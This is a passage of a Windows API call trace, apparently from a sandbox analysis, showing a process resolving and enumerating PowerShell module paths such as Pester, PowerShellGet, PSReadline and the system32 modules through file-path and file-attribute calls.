| out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0096.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e36c) returned 1 [0096.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x521161c | out: lpFileInformation=0x521161c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014)) returned 1 [0096.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e368) returned 1 [0096.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0096.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0096.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e348) returned 1 [0096.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e3c4 | out: lpFileInformation=0x843e3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0096.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e344) returned 1 [0096.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0096.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0096.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0096.346] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x0) returned 0x43 [0096.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e36c) returned 1 [0096.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1"), fInfoLevelId=0x0, lpFileInformation=0x52118cc | out: lpFileInformation=0x52118cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5)) returned 1 [0096.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e368) returned 1 [0096.346] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psd1")) returned 0xffffffff [0096.346] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.psm1")) returned 0xffffffff [0096.346] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.cdxml")) returned 0xffffffff [0096.346] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.xaml")) returned 0xffffffff [0096.347] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.ni.dll")) returned 0xffffffff [0096.347] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\Pester.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\pester.dll")) returned 0xffffffff [0096.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e3b4) returned 1 [0096.347] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0096.347] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0096.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x843e0dc | out: lpFindFileData=0x843e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6048 [0096.347] FindNextFileW (in: hFindFile=0x75c6048, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.347] FindNextFileW (in: hFindFile=0x75c6048, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0096.347] FindNextFileW (in: hFindFile=0x75c6048, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.347] FindClose (in: hFindFile=0x75c6048 | out: hFindFile=0x75c6048) returned 1 [0096.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e370) returned 1 [0096.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e37c) returned 1 [0096.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0096.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0096.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e348) returned 1 [0096.348] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e3c4 | out: lpFileInformation=0x843e3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0096.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e344) returned 1 [0096.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0096.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0096.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0096.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0096.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e36c) returned 1 [0096.348] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5212f88 | out: lpFileInformation=0x5212f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0096.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e368) returned 1 [0096.348] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0096.348] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0096.348] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0096.348] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0096.348] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0096.348] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0096.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e3b4) returned 1 [0096.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0096.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0096.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x843e0dc | out: lpFindFileData=0x843e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c5f88 [0096.349] FindNextFileW (in: hFindFile=0x75c5f88, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.349] FindNextFileW (in: hFindFile=0x75c5f88, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1", cAlternateFileName="")) returned 1 [0096.349] FindNextFileW (in: hFindFile=0x75c5f88, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0096.349] FindNextFileW (in: hFindFile=0x75c5f88, lpFindFileData=0x843e0e8 | out: lpFindFileData=0x843e0e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.349] FindClose (in: hFindFile=0x75c5f88 | out: hFindFile=0x75c5f88) returned 1 [0096.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e370) returned 1 [0096.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e37c) returned 1 [0096.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0096.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\PSReadline.psd1", lpFilePart=0x0) returned 0x49 [0096.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e348) returned 1 [0096.351] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0096.357] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0096.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e3b4) returned 1 [0096.357] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0096.358] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0096.358] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0096.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e3b4) returned 1 [0096.360] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0096.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e3b4) returned 1 [0096.361] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0096.361] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0096.361] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0096.361] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0096.362] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0096.362] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0096.362] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0096.362] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0096.362] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0096.363] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0096.363] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0096.363] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0096.363] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0096.363] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0096.364] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0096.364] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0096.364] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0096.364] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0096.364] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0096.365] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0096.365] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0096.365] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0096.365] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0096.366] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0096.366] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0096.366] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0096.366] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0096.367] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0096.367] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0096.367] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0096.367] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0096.367] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", 